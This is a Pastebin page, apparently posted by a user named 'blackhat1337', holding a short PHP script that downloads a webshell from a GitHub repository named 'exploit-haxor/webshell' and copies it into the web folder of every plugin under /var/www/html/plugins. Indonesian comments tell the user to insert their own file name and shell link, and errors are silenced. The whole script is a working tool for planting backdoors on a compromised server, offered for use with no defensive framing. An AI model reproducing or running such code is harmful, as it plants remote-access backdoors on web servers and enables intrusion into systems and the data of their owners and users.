Advertisement
blackhat1337

db

Mar 27th, 2024 (edited)
762
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.55 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3.  
  4. $root = '/var/www/html/plugins';
  5. $scan = scandir($root);
  6.  
  7. $nama = 'db-cyber.php'; // ganti nama file
  8. $isi = file_get_contents('https://raw.githubusercontent.com/exploit-haxor/webshell/main/mydb%40.php'); // ganti link pastebin scriptmu
  9.  
  10. $bikin = fopen($nama, "w");
  11.          fwrite($bikin, $isi);
  12.          fclose($bikin);
  13.  
  14. foreach ( $scan as $a ) {
  15.     $dir = "$a \n";
  16.     $gas = $root.'/'.$a.'/web/'.$nama;
  17.     $cos = "$gas \n";
  18.     $asu = @copy($nama, $gas);
  19.     if($asu) {
  20.         print 'Done! => '.$cos; }
  21.             else { print 'Failed! => '.$dir; }
  22.     }
  23. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement